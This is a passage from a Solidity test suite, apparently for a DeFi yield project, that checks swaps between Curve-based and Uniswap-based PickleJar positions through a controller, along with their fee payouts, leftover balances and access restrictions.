uint256 _fromPickleJar = IERC20(address(curvePickleJars[fromIndex])) .balanceOf(address(this)); IERC20(address(curvePickleJars[fromIndex])).approve( address(controller), _fromPickleJar ); // Swap try controller.swapExactJarForJar( address(curvePickleJars[fromIndex]), address(curvePickleJars[toIndex]), _fromPickleJar, uint256(-1), // Min receive amount targets, data ) { revert("min-receive-amount"); } catch {} _test_swap_and_check_balances( address(curvePickleJars[fromIndex]), address(curvePickleJars[toIndex]), from, _fromPickleJar, targets, data ); _post_swap_check(fromIndex, toIndex); } // **** Tests **** function test_jar_converter_curve_curve_0() public { uint256 fromIndex = 0; uint256 toIndex = 1; uint256 amount = 400e18; int128 fromCurveUnderlyingIndex = 0; bytes4 toCurveFunctionSig = _getFunctionSig( "add_liquidity(uint256[4],uint256)" ); uint256 toCurvePoolSize = 4; uint256 toCurveUnderlyingIndex = 0; address toCurveUnderlying = dai; // Remove liquidity address fromCurve = curvePools[fromIndex]; address fromCurveLp = curveLps[fromIndex]; address payable target0 = payable(address(curveProxyLogic)); bytes memory data0 = abi.encodeWithSignature( "remove_liquidity_one_coin(address,address,int128)", fromCurve, fromCurveLp, fromCurveUnderlyingIndex ); // Add liquidity address toCurve = curvePools[toIndex]; address payable target1 = payable(address(curveProxyLogic)); bytes memory data1 = abi.encodeWithSignature( "add_liquidity(address,bytes4,uint256,uint256,address)", toCurve, toCurveFunctionSig, toCurvePoolSize, toCurveUnderlyingIndex, toCurveUnderlying ); // Swap _test_curve_curve( fromIndex, toIndex, amount, _getDynamicArray(target0, target1), _getDynamicArray(data0, data1) ); } function test_jar_converter_curve_curve_1() public { uint256 fromIndex = 0; uint256 toIndex = 2; uint256 amount = 400e18; int128 fromCurveUnderlyingIndex = 0; bytes4 toCurveFunctionSig = _getFunctionSig( "add_liquidity(uint256[2],uint256)" ); uint256 toCurvePoolSize = 2; uint256 toCurveUnderlyingIndex = 1; address toCurveUnderlying = wbtc; // Remove liquidity address fromCurve = curvePools[fromIndex]; address fromCurveLp = curveLps[fromIndex]; bytes memory data0 = abi.encodeWithSignature( "remove_liquidity_one_coin(address,address,int128)", fromCurve, fromCurveLp, fromCurveUnderlyingIndex ); // Swap bytes memory data1 = _get_uniswap_pl_swap_data(dai, toCurveUnderlying); // Add liquidity address toCurve = curvePools[toIndex]; bytes memory data2 = abi.encodeWithSignature( "add_liquidity(address,bytes4,uint256,uint256,address)", toCurve, toCurveFunctionSig, toCurvePoolSize, toCurveUnderlyingIndex, toCurveUnderlying ); _test_curve_curve( fromIndex, toIndex, amount, _getDynamicArray( payable(address(curveProxyLogic)), payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1, data2) ); } function test_jar_converter_curve_curve_2() public { uint256 fromIndex = 1; uint256 toIndex = 0; uint256 amount = 400e18; int128 fromCurveUnderlyingIndex = 1; bytes4 toCurveFunctionSig = _getFunctionSig( "add_liquidity(uint256[3],uint256)" ); uint256 toCurvePoolSize = 3; uint256 toCurveUnderlyingIndex = 2; address toCurveUnderlying = usdt; // Remove liquidity address fromCurve = susdv2_deposit; // curvePools[fromIndex]; address fromCurveLp = curveLps[fromIndex]; bytes memory data0 = abi.encodeWithSignature( "remove_liquidity_one_coin(address,address,int128)", fromCurve, fromCurveLp, fromCurveUnderlyingIndex ); // Swap bytes memory data1 = _get_uniswap_pl_swap_data(usdc, usdt); // Add liquidity address toCurve = curvePools[toIndex]; bytes memory data2 = abi.encodeWithSignature( "add_liquidity(address,bytes4,uint256,uint256,address)", toCurve, toCurveFunctionSig, toCurvePoolSize, toCurveUnderlyingIndex, toCurveUnderlying ); _test_curve_curve( fromIndex, toIndex, amount, _getDynamicArray( payable(address(curveProxyLogic)), payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1, data2) ); } function test_jar_converter_curve_curve_3() public { uint256 fromIndex = 2; uint256 toIndex = 0; uint256 amount = 4e6; int128 fromCurveUnderlyingIndex = 1; bytes4 toCurveFunctionSig = _getFunctionSig( "add_liquidity(uint256[3],uint256)" ); uint256 toCurvePoolSize = 3; uint256 toCurveUnderlyingIndex = 1; address toCurveUnderlying = usdc; // Remove liquidity address fromCurve = curvePools[fromIndex]; address fromCurveLp = curveLps[fromIndex]; bytes memory data0 = abi.encodeWithSignature( "remove_liquidity_one_coin(address,address,int128)", fromCurve, fromCurveLp, fromCurveUnderlyingIndex ); // Swap bytes memory data1 = _get_uniswap_pl_swap_data(wbtc, usdc); // Add liquidity address toCurve = curvePools[toIndex]; bytes memory data2 = abi.encodeWithSignature( "add_liquidity(address,bytes4,uint256,uint256,address)", toCurve, toCurveFunctionSig, toCurvePoolSize, toCurveUnderlyingIndex, toCurveUnderlying ); _test_curve_curve( fromIndex, toIndex, amount, _getDynamicArray( payable(address(curveProxyLogic)), payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1, data2) ); } function test_jar_converter_curve_curve_4() public { uint256 fromIndex = 1; uint256 toIndex = 0; uint256 amount = 400e18; int128 fromCurveUnderlyingIndex = 2; bytes4 toCurveFunctionSig = _getFunctionSig( "add_liquidity(uint256[3],uint256)" ); uint256 toCurvePoolSize = 3; uint256 toCurveUnderlyingIndex = 1; address toCurveUnderlying = usdc; // Remove liquidity address fromCurve = susdv2_deposit; address fromCurveLp = curveLps[fromIndex]; bytes memory data0 = abi.encodeWithSignature( "remove_liquidity_one_coin(address,address,int128)", fromCurve, fromCurveLp, fromCurveUnderlyingIndex ); // Swap bytes memory data1 = _get_uniswap_pl_swap_data(usdt, usdc); // Add liquidity address toCurve = curvePools[toIndex]; bytes memory data2 = abi.encodeWithSignature( "add_liquidity(address,bytes4,uint256,uint256,address)", toCurve, toCurveFunctionSig, toCurvePoolSize, toCurveUnderlyingIndex, toCurveUnderlying ); _test_curve_curve( fromIndex, toIndex, amount, _getDynamicArray( payable(address(curveProxyLogic)), payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1, data2) ); } } contract StrategyCurveUniJarSwapTest is DSTestDefiBase { address governance; address strategist; address devfund; address treasury; address timelock; IStrategy[] curveStrategies; IStrategy[] uniStrategies; PickleJar[] curvePickleJars; PickleJar[] uniPickleJars; ControllerV4 controller; CurveProxyLogic curveProxyLogic; UniswapV2ProxyLogic uniswapV2ProxyLogic; address[] curvePools; address[] curveLps; address[] uniUnderlying; // Contract wide variable to avoid stack too deep errors uint256 temp; function setUp() public { governance = address(this); strategist = address(this); devfund = address(new User()); treasury = address(new User()); timelock = address(this); controller = new ControllerV4( governance, strategist, timelock, devfund, treasury ); // Curve Strategies curveStrategies = new IStrategy[](3); curvePickleJars = new PickleJar[](curveStrategies.length); curveLps = new address[](curveStrategies.length); curvePools = new address[](curveStrategies.length); curveLps[0] = three_crv; curvePools[0] = three_pool; curveStrategies[0] = IStrategy( address( new StrategyCurve3CRVv2( governance, strategist, address(controller), timelock ) ) ); curveLps[1] = scrv; curvePools[1] = susdv2_pool; curveStrategies[1] = IStrategy( address( new StrategyCurveSCRVv3_2( governance, strategist, address(controller), timelock ) ) ); curveLps[2] = ren_crv; curvePools[2] = ren_pool; curveStrategies[2] = IStrategy( address( new StrategyCurveRenCRVv2( governance, strategist, address(controller), timelock ) ) ); // Create PICKLE Jars for (uint256 i = 0; i < curvePickleJars.length; i++) { curvePickleJars[i] = new PickleJar( curveStrategies[i].want(), governance, timelock, address(controller) ); controller.setJar( curveStrategies[i].want(), address(curvePickleJars[i]) ); controller.approveStrategy( curveStrategies[i].want(), address(curveStrategies[i]) ); controller.setStrategy( curveStrategies[i].want(), address(curveStrategies[i]) ); } // Uni strategies uniStrategies = new IStrategy[](4); uniUnderlying = new address[](uniStrategies.length); uniPickleJars = new PickleJar[](uniStrategies.length); uniUnderlying[0] = dai; uniStrategies[0] = IStrategy( address( new StrategyUniEthDaiLpV4( governance, strategist, address(controller), timelock ) ) ); uniUnderlying[1] = usdc; uniStrategies[1] = IStrategy( address( new StrategyUniEthUsdcLpV4( governance, strategist, address(controller), timelock ) ) ); uniUnderlying[2] = usdt; uniStrategies[2] = IStrategy( address( new StrategyUniEthUsdtLpV4( governance, strategist, address(controller), timelock ) ) ); uniUnderlying[3] = wbtc; uniStrategies[3] = IStrategy( address( new StrategyUniEthWBtcLpV2( governance, strategist, address(controller), timelock ) ) ); for (uint256 i = 0; i < uniStrategies.length; i++) { uniPickleJars[i] = new PickleJar( uniStrategies[i].want(), governance, timelock, address(controller) ); controller.setJar( uniStrategies[i].want(), address(uniPickleJars[i]) ); controller.approveStrategy( uniStrategies[i].want(), address(uniStrategies[i]) ); controller.setStrategy( uniStrategies[i].want(), address(uniStrategies[i]) ); } curveProxyLogic = new CurveProxyLogic(); uniswapV2ProxyLogic = new UniswapV2ProxyLogic(); controller.approveJarConverter(address(curveProxyLogic)); controller.approveJarConverter(address(uniswapV2ProxyLogic)); hevm.warp(startTime); } function _getCurveLP(address curve, uint256 amount) internal { if (curve == ren_pool) { _getERC20(wbtc, amount); uint256 _wbtc = IERC20(wbtc).balanceOf(address(this)); IERC20(wbtc).approve(curve, _wbtc); uint256[2] memory liquidity; liquidity[1] = _wbtc; ICurveFi_2(curve).add_liquidity(liquidity, 0); } else { _getERC20(dai, amount); uint256 _dai = IERC20(dai).balanceOf(address(this)); IERC20(dai).approve(curve, _dai); if (curve == three_pool) { uint256[3] memory liquidity; liquidity[0] = _dai; ICurveFi_3(curve).add_liquidity(liquidity, 0); } else { uint256[4] memory liquidity; liquidity[0] = _dai; ICurveFi_4(curve).add_liquidity(liquidity, 0); } } } function _get_primitive_to_lp_data( address from, address to, address dustRecipient ) internal pure returns (bytes memory) { return abi.encodeWithSignature( "primitiveToLpTokens(address,address,address)", from, to, dustRecipient ); } function _get_curve_remove_liquidity_data( address curve, address curveLP, int128 index ) internal pure returns (bytes memory) { return abi.encodeWithSignature( "remove_liquidity_one_coin(address,address,int128)", curve, curveLP, index ); } // Some post swap checks // Checks if there's any leftover funds in the converter contract function _post_swap_check(uint256 fromIndex, uint256 toIndex) internal { IERC20 token0 = curvePickleJars[fromIndex].token(); IUniswapV2Pair token1 = IUniswapV2Pair( address(uniPickleJars[toIndex].token()) ); uint256 MAX_DUST = 1000; // No funds left behind assertEq(curvePickleJars[fromIndex].balanceOf(address(controller)), 0); assertEq(uniPickleJars[toIndex].balanceOf(address(controller)), 0); assertTrue(token0.balanceOf(address(controller)) < MAX_DUST); assertTrue(token1.balanceOf(address(controller)) < MAX_DUST); // Curve -> UNI LP should be optimal supply // Note: We refund the access, which is why its checking this balance assertTrue(IERC20(token1.token0()).balanceOf(address(this)) < MAX_DUST); assertTrue(IERC20(token1.token1()).balanceOf(address(this)) < MAX_DUST); // Make sure only controller can call 'withdrawForSwap' try curveStrategies[fromIndex].withdrawForSwap(0) { revert("!withdraw-for-swap-only-controller"); } catch {} } function _test_check_treasury_fee(uint256 _amount, uint256 earned) internal { assertEqApprox( _amount.mul(controller.convenienceFee()).div( controller.convenienceFeeMax() ), earned.mul(2) ); } function _test_swap_and_check_balances( address fromPickleJar, address toPickleJar, address fromPickleJarUnderlying, uint256 fromPickleJarUnderlyingAmount, address payable[] memory targets, bytes[] memory data ) internal { uint256 _beforeTo = IERC20(toPickleJar).balanceOf(address(this)); uint256 _beforeFrom = IERC20(fromPickleJar).balanceOf(address(this)); uint256 _beforeDev = IERC20(fromPickleJarUnderlying).balanceOf(devfund); uint256 _beforeTreasury = IERC20(fromPickleJarUnderlying).balanceOf( treasury ); uint256 _ret = controller.swapExactJarForJar( fromPickleJar, toPickleJar, fromPickleJarUnderlyingAmount, 0, // Min receive amount targets, data ); uint256 _afterTo = IERC20(toPickleJar).balanceOf(address(this)); uint256 _afterFrom = IERC20(fromPickleJar).balanceOf(address(this)); uint256 _afterDev = IERC20(fromPickleJarUnderlying).balanceOf(devfund); uint256 _afterTreasury = IERC20(fromPickleJarUnderlying).balanceOf( treasury ); uint256 treasuryEarned = _afterTreasury.sub(_beforeTreasury); assertEq(treasuryEarned, _afterDev.sub(_beforeDev)); assertTrue(treasuryEarned > 0); _test_check_treasury_fee(fromPickleJarUnderlyingAmount, treasuryEarned); assertTrue(_afterFrom < _beforeFrom); assertTrue(_afterTo > _beforeTo); assertTrue(_afterTo.sub(_beforeTo) > 0); assertEq(_afterTo.sub(_beforeTo), _ret); assertEq(_afterFrom, 0); } function _test_curve_uni_swap( uint256 fromIndex, uint256 toIndex, uint256 amount, address payable[] memory targets, bytes[] memory data ) internal { // Deposit into PickleJars address from = address(curvePickleJars[fromIndex].token()); _getCurveLP(curvePools[fromIndex], amount); uint256 _from = IERC20(from).balanceOf(address(this)); IERC20(from).approve(address(curvePickleJars[fromIndex]), _from); curvePickleJars[fromIndex].deposit(_from); curvePickleJars[fromIndex].earn(); // Swap! uint256 _fromPickleJar = IERC20(address(curvePickleJars[fromIndex])) .balanceOf(address(this)); IERC20(address(curvePickleJars[fromIndex])).approve( address(controller), _fromPickleJar ); // Check minimum amount try controller.swapExactJarForJar( address(curvePickleJars[fromIndex]), address(uniPickleJars[toIndex]), _fromPickleJar, uint256(-1), // Min receive amount targets, data ) { revert("min-amount-should-fail"); } catch {} _test_swap_and_check_balances( address(curvePickleJars[fromIndex]), address(uniPickleJars[toIndex]), from, _fromPickleJar, targets, data ); _post_swap_check(fromIndex, toIndex); } // **** Tests **** // function test_jar_converter_curve_uni_0_0() public { uint256 fromIndex = 0; uint256 toIndex = 0; uint256 amount = 400e18; address fromUnderlying = dai; int128 fromUnderlyingIndex = 0; address curvePool = curvePools[fromIndex]; address toUnderlying = uniUnderlying[toIndex]; address toWant = univ2Factory.getPair(weth, toUnderlying); bytes memory data0 = _get_curve_remove_liquidity_data( curvePool, curveLps[fromIndex], fromUnderlyingIndex ); bytes memory data1 = _get_primitive_to_lp_data( fromUnderlying, toWant, treasury ); _test_curve_uni_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(curveProxyLogic)), payable(address(uniswapV2ProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_curve_uni_0_1() public { uint256 fromIndex = 0; uint256 toIndex = 1; uint256 amount = 400e18; address fromUnderlying = usdc; int128 fromUnderlyingIndex = 1; address curvePool = curvePools[fromIndex]; address toUnderlying = uniUnderlying[toIndex]; address toWant = univ2Factory.getPair(weth, toUnderlying); bytes memory data0 = _get_curve_remove_liquidity_data( curvePool, curveLps[fromIndex], fromUnderlyingIndex ); bytes memory data1 = _get_primitive_to_lp_data( fromUnderlying, toWant, treasury ); _test_curve_uni_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(curveProxyLogic)), payable(address(uniswapV2ProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_curve_uni_0_2() public { uint256 fromIndex = 0; uint256 toIndex = 2; uint256 amount = 400e18; address fromUnderlying = usdt; int128 fromUnderlyingIndex = 2; address curvePool = curvePools[fromIndex]; address toUnderlying = uniUnderlying[toIndex]; address toWant = univ2Factory.getPair(weth, toUnderlying); bytes memory data0 = _get_curve_remove_liquidity_data( curvePool, curveLps[fromIndex], fromUnderlyingIndex ); bytes memory data1 = _get_primitive_to_lp_data( fromUnderlying, toWant, treasury ); _test_curve_uni_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(curveProxyLogic)), payable(address(uniswapV2ProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_curve_uni_0_3() public { uint256 fromIndex = 0; uint256 toIndex = 3; uint256 amount = 400e18; address fromUnderlying = usdt; int128 fromUnderlyingIndex = 2; address curvePool = curvePools[fromIndex]; address toUnderlying = uniUnderlying[toIndex]; address toWant = univ2Factory.getPair(weth, toUnderlying); bytes memory data0 = _get_curve_remove_liquidity_data( curvePool, curveLps[fromIndex], fromUnderlyingIndex ); bytes memory data1 = _get_primitive_to_lp_data( fromUnderlying, toWant, treasury ); _test_curve_uni_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(curveProxyLogic)), payable(address(uniswapV2ProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_curve_uni_1_0() public { uint256 fromIndex = 1; uint256 toIndex = 0; uint256 amount = 400e18; address fromUnderlying = usdt; int128 fromUnderlyingIndex = 2; address curvePool = susdv2_deposit; // curvePools[fromIndex]; address toUnderlying = uniUnderlying[toIndex]; address toWant = univ2Factory.getPair(weth, toUnderlying); bytes memory data0 = _get_curve_remove_liquidity_data( curvePool, curveLps[fromIndex], fromUnderlyingIndex ); bytes memory data1 = _get_primitive_to_lp_data( fromUnderlying, toWant, treasury ); _test_curve_uni_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(curveProxyLogic)), payable(address(uniswapV2ProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_curve_uni_1_1() public { uint256 fromIndex = 1; uint256 toIndex = 1; uint256 amount = 400e18; address fromUnderlying = dai; int128 fromUnderlyingIndex = 0; address curvePool = susdv2_deposit; // curvePools[fromIndex]; address toUnderlying = uniUnderlying[toIndex]; address toWant = univ2Factory.getPair(weth, toUnderlying); bytes memory data0 = _get_curve_remove_liquidity_data( curvePool, curveLps[fromIndex], fromUnderlyingIndex ); bytes memory data1 = _get_primitive_to_lp_data( fromUnderlying, toWant, treasury ); _test_curve_uni_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(curveProxyLogic)), payable(address(uniswapV2ProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_curve_uni_1_2() public { uint256 fromIndex = 1; uint256 toIndex = 2; uint256 amount = 400e18; address fromUnderlying = dai; int128 fromUnderlyingIndex = 0; address curvePool = susdv2_deposit; // curvePools[fromIndex]; address toUnderlying = uniUnderlying[toIndex]; address toWant = univ2Factory.getPair(weth, toUnderlying); bytes memory data0 = _get_curve_remove_liquidity_data( curvePool, curveLps[fromIndex], fromUnderlyingIndex ); bytes memory data1 = _get_primitive_to_lp_data( fromUnderlying, toWant, treasury ); _test_curve_uni_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(curveProxyLogic)), payable(address(uniswapV2ProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_curve_uni_1_3() public { uint256 fromIndex = 1; uint256 toIndex = 3; uint256 amount = 400e18; address fromUnderlying = dai; int128 fromUnderlyingIndex = 0; address curvePool = susdv2_deposit; // curvePools[fromIndex]; address toUnderlying = uniUnderlying[toIndex]; address toWant = univ2Factory.getPair(weth, toUnderlying); bytes memory data0 = _get_curve_remove_liquidity_data( curvePool, curveLps[fromIndex], fromUnderlyingIndex ); bytes memory data1 = _get_primitive_to_lp_data( fromUnderlying, toWant, treasury ); _test_curve_uni_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(curveProxyLogic)), payable(address(uniswapV2ProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_curve_uni_2_3() public { uint256 fromIndex = 2; uint256 toIndex = 3; uint256 amount = 4e6; address fromUnderlying = wbtc; int128 fromUnderlyingIndex = 1; address curvePool = curvePools[fromIndex]; address toUnderlying = uniUnderlying[toIndex]; address toWant = univ2Factory.getPair(weth, toUnderlying); bytes memory data0 = _get_curve_remove_liquidity_data( curvePool, curveLps[fromIndex], fromUnderlyingIndex ); bytes memory data1 = _get_primitive_to_lp_data( fromUnderlying, toWant, treasury ); _test_curve_uni_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(curveProxyLogic)), payable(address(uniswapV2ProxyLogic)) ), _getDynamicArray(data0, data1) ); } } contract StrategyUniCurveJarSwapTest is DSTestDefiBase { address governance; address strategist; address devfund; address treasury; address timelock; IStrategy[] curveStrategies; IStrategy[] uniStrategies; PickleJar[] curvePickleJars; PickleJar[] uniPickleJars; ControllerV4 controller; CurveProxyLogic curveProxyLogic; UniswapV2ProxyLogic uniswapV2ProxyLogic; address[] curvePools; address[] curveLps; address[] uniUnderlying; // Contract wide variable to avoid stack too deep errors uint256 temp; function setUp() public { governance = address(this); strategist = address(this); devfund = address(new User()); treasury = address(new User()); timelock = address(this); controller = new ControllerV4( governance, strategist, timelock, devfund, treasury ); // Curve Strategies curveStrategies = new IStrategy[](3); curvePickleJars = new PickleJar[](curveStrategies.length); curveLps = new address[](curveStrategies.length); curvePools = new address[](curveStrategies.length); curveLps[0] = three_crv; curvePools[0] = three_pool; curveStrategies[0] = IStrategy( address( new StrategyCurve3CRVv2( governance, strategist, address(controller), timelock ) ) ); curveLps[1] = scrv; curvePools[1] = susdv2_pool; curveStrategies[1] = IStrategy( address( new StrategyCurveSCRVv3_2( governance, strategist, address(controller), timelock ) ) ); curveLps[2] = ren_crv; curvePools[2] = ren_pool; curveStrategies[2] = IStrategy( address( new StrategyCurveRenCRVv2( governance, strategist, address(controller), timelock ) ) ); // Create PICKLE Jars for (uint256 i = 0; i < curvePickleJars.length; i++) { curvePickleJars[i] = new PickleJar( curveStrategies[i].want(), governance, timelock, address(controller) ); controller.setJar( curveStrategies[i].want(), address(curvePickleJars[i]) ); controller.approveStrategy( curveStrategies[i].want(), address(curveStrategies[i]) ); controller.setStrategy( curveStrategies[i].want(), address(curveStrategies[i]) ); } // Uni strategies uniStrategies = new IStrategy[](4); uniUnderlying = new address[](uniStrategies.length); uniPickleJars = new PickleJar[](uniStrategies.length); uniUnderlying[0] = dai; uniStrategies[0] = IStrategy( address( new StrategyUniEthDaiLpV4( governance, strategist, address(controller), timelock ) ) ); uniUnderlying[1] = usdc; uniStrategies[1] = IStrategy( address( new StrategyUniEthUsdcLpV4( governance, strategist, address(controller), timelock ) ) ); uniUnderlying[2] = usdt; uniStrategies[2] = IStrategy( address( new StrategyUniEthUsdtLpV4( governance, strategist, address(controller), timelock ) ) ); uniUnderlying[3] = wbtc; uniStrategies[3] = IStrategy( address( new StrategyUniEthWBtcLpV2( governance, strategist, address(controller), timelock ) ) ); for (uint256 i = 0; i < uniStrategies.length; i++) { uniPickleJars[i] = new PickleJar( uniStrategies[i].want(), governance, timelock, address(controller) ); controller.setJar( uniStrategies[i].want(), address(uniPickleJars[i]) ); controller.approveStrategy( uniStrategies[i].want(), address(uniStrategies[i]) ); controller.setStrategy( uniStrategies[i].want(), address(uniStrategies[i]) ); } curveProxyLogic = new CurveProxyLogic(); uniswapV2ProxyLogic = new UniswapV2ProxyLogic(); controller.approveJarConverter(address(curveProxyLogic)); controller.approveJarConverter(address(uniswapV2ProxyLogic)); hevm.warp(startTime); } function _getUniLP( address lp, uint256 ethAmount, uint256 otherAmount ) internal { IUniswapV2Pair fromPair = IUniswapV2Pair(lp); address other = fromPair.token0() != weth ? fromPair.token0() : fromPair.token1(); _getERC20(other, otherAmount); uint256 _other = IERC20(other).balanceOf(address(this)); IERC20(other).safeApprove(address(univ2), 0); IERC20(other).safeApprove(address(univ2), _other); univ2.addLiquidityETH{value: ethAmount}( other, _other, 0, 0, address(this), now + 60 ); } function _get_uniswap_remove_liquidity_data(address pair) internal pure returns (bytes memory) { return abi.encodeWithSignature("removeLiquidity(address)", pair); } function _get_uniswap_lp_tokens_to_primitive(address from, address to) internal pure returns (bytes memory) { return abi.encodeWithSignature( "lpTokensToPrimitive(address,address)", from, to ); } function _get_curve_add_liquidity_data( address curve, bytes4 curveFunctionSig, uint256 curvePoolSize, uint256 curveUnderlyingIndex, address underlying ) internal pure returns (bytes memory) { return abi.encodeWithSignature( "add_liquidity(address,bytes4,uint256,uint256,address)", curve, curveFunctionSig, curvePoolSize, curveUnderlyingIndex, underlying ); } // Some post swap checks // Checks if there's any leftover funds in the converter contract function _post_swap_check(uint256 fromIndex, uint256 toIndex) internal { IERC20 token0 = uniPickleJars[fromIndex].token(); IERC20 token1 = curvePickleJars[toIndex].token(); // No funds left behind assertEq(uniPickleJars[fromIndex].balanceOf(address(controller)), 0); assertEq(curvePickleJars[toIndex].balanceOf(address(controller)), 0); assertEq(token0.balanceOf(address(controller)), 0); assertEq(token1.balanceOf(address(controller)), 0); assertEq(IERC20(wbtc).balanceOf(address(controller)), 0); // assertEq(IERC20(usdt).balanceOf(address(controller)), 0); // assertEq(IERC20(usdc).balanceOf(address(controller)), 0); // assertEq(IERC20(susd).balanceOf(address(controller)), 0); // assertEq(IERC20(dai).balanceOf(address(controller)), 0); // No balance left behind! assertEq(token1.balanceOf(address(this)), 0); // Make sure only controller can call 'withdrawForSwap' try uniStrategies[fromIndex].withdrawForSwap(0) { revert("!withdraw-for-swap-only-controller"); } catch {} } function _test_check_treasury_fee(uint256 _amount, uint256 earned) internal { assertEqApprox( _amount.mul(controller.convenienceFee()).div( controller.convenienceFeeMax() ), earned.mul(2) ); } function _test_swap_and_check_balances( address fromPickleJar, address toPickleJar, address fromPickleJarUnderlying, uint256 fromPickleJarUnderlyingAmount, address payable[] memory targets, bytes[] memory data ) internal { uint256 _beforeTo = IERC20(toPickleJar).balanceOf(address(this)); uint256 _beforeFrom = IERC20(fromPickleJar).balanceOf(address(this)); uint256 _beforeDev = IERC20(fromPickleJarUnderlying).balanceOf(devfund); uint256 _beforeTreasury = IERC20(fromPickleJarUnderlying).balanceOf( treasury ); uint256 _ret = controller.swapExactJarForJar( fromPickleJar, toPickleJar, fromPickleJarUnderlyingAmount, 0, // Min receive amount targets, data ); uint256 _afterTo = IERC20(toPickleJar).balanceOf(address(this)); uint256 _afterFrom = IERC20(fromPickleJar).balanceOf(address(this)); uint256 _afterDev = IERC20(fromPickleJarUnderlying).balanceOf(devfund); uint256 _afterTreasury = IERC20(fromPickleJarUnderlying).balanceOf( treasury ); uint256 treasuryEarned = _afterTreasury.sub(_beforeTreasury); assertEq(treasuryEarned, _afterDev.sub(_beforeDev)); assertTrue(treasuryEarned > 0); _test_check_treasury_fee(fromPickleJarUnderlyingAmount, treasuryEarned); assertTrue(_afterFrom < _beforeFrom); assertTrue(_afterTo > _beforeTo); assertTrue(_afterTo.sub(_beforeTo) > 0); assertEq(_afterTo.sub(_beforeTo), _ret); assertEq(_afterFrom, 0); } function _test_uni_curve_swap( uint256 fromIndex, uint256 toIndex, uint256 amount, address payable[] memory targets, bytes[] memory data ) internal { // Deposit into PickleJars address from = address(uniPickleJars[fromIndex].token()); _getUniLP(from, 1e18, amount); uint256 _from = IERC20(from).balanceOf(address(this)); IERC20(from).approve(address(uniPickleJars[fromIndex]), _from); uniPickleJars[fromIndex].deposit(_from); uniPickleJars[fromIndex].earn(); // Swap! uint256 _fromPickleJar = IERC20(address(uniPickleJars[fromIndex])) .balanceOf(address(this)); IERC20(address(uniPickleJars[fromIndex])).approve( address(controller), _fromPickleJar ); // Check minimum amount try controller.swapExactJarForJar( address(uniPickleJars[fromIndex]), address(curvePickleJars[toIndex]), _fromPickleJar, uint256(-1), // Min receive amount targets, data ) { revert("min-amount-should-fail"); } catch {} _test_swap_and_check_balances( address(uniPickleJars[fromIndex]), address(curvePickleJars[toIndex]), from, _fromPickleJar, targets, data ); _post_swap_check(fromIndex, toIndex); } // **** Tests **** // function test_jar_converter_uni_curve_0_0() public { uint256 fromIndex = 0; uint256 toIndex = 0; uint256 amount = 400e18; address fromUnderlying = uniUnderlying[fromIndex]; address curvePool = curvePools[toIndex]; uint256 curvePoolSize = 3; address curveUnderlying = dai; uint256 curveUnderlyingIndex = 0; bytes4 curveFunctionSig = _getFunctionSig( "add_liquidity(uint256[3],uint256)" ); bytes memory data0 = _get_uniswap_lp_tokens_to_primitive( univ2Factory.getPair(weth, fromUnderlying), curveUnderlying ); bytes memory data1 = _get_curve_add_liquidity_data( curvePool, curveFunctionSig, curvePoolSize, curveUnderlyingIndex, curveUnderlying ); _test_uni_curve_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_uni_curve_1_0() public { uint256 fromIndex = 1; uint256 toIndex = 0; uint256 amount = 400e6; address fromUnderlying = uniUnderlying[fromIndex]; address curvePool = curvePools[toIndex]; uint256 curvePoolSize = 3; address curveUnderlying = dai; uint256 curveUnderlyingIndex = 0; bytes4 curveFunctionSig = _getFunctionSig( "add_liquidity(uint256[3],uint256)" ); bytes memory data0 = _get_uniswap_lp_tokens_to_primitive( univ2Factory.getPair(weth, fromUnderlying), curveUnderlying ); bytes memory data1 = _get_curve_add_liquidity_data( curvePool, curveFunctionSig, curvePoolSize, curveUnderlyingIndex, curveUnderlying ); _test_uni_curve_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_uni_curve_2_0() public { uint256 fromIndex = 2; uint256 toIndex = 0; uint256 amount = 400e6; address fromUnderlying = uniUnderlying[fromIndex]; address curvePool = curvePools[toIndex]; uint256 curvePoolSize = 3; address curveUnderlying = dai; uint256 curveUnderlyingIndex = 0; bytes4 curveFunctionSig = _getFunctionSig( "add_liquidity(uint256[3],uint256)" ); bytes memory data0 = _get_uniswap_lp_tokens_to_primitive( univ2Factory.getPair(weth, fromUnderlying), curveUnderlying ); bytes memory data1 = _get_curve_add_liquidity_data( curvePool, curveFunctionSig, curvePoolSize, curveUnderlyingIndex, curveUnderlying ); _test_uni_curve_swap( fromIndex, toIndex, amount, _getDynamicArray( payable(address(uniswapV2ProxyLogic)), payable(address(curveProxyLogic)) ), _getDynamicArray(data0, data1) ); } function test_jar_converter_uni_curve_3_0() public { uint256 fromIndex = 3; uint256 toIndex = 0; uint256 amount = 4e6; address fromUnderlying = uniUnderlying[fromIndex]; address curvePool = curvePools[toIndex]; uint256 curvePoolSize = 3; address curveUnderlying = dai; uint256 curveUnderlyingIndex = 0; bytes4 curveFunctionSig = _getFunctionSig( 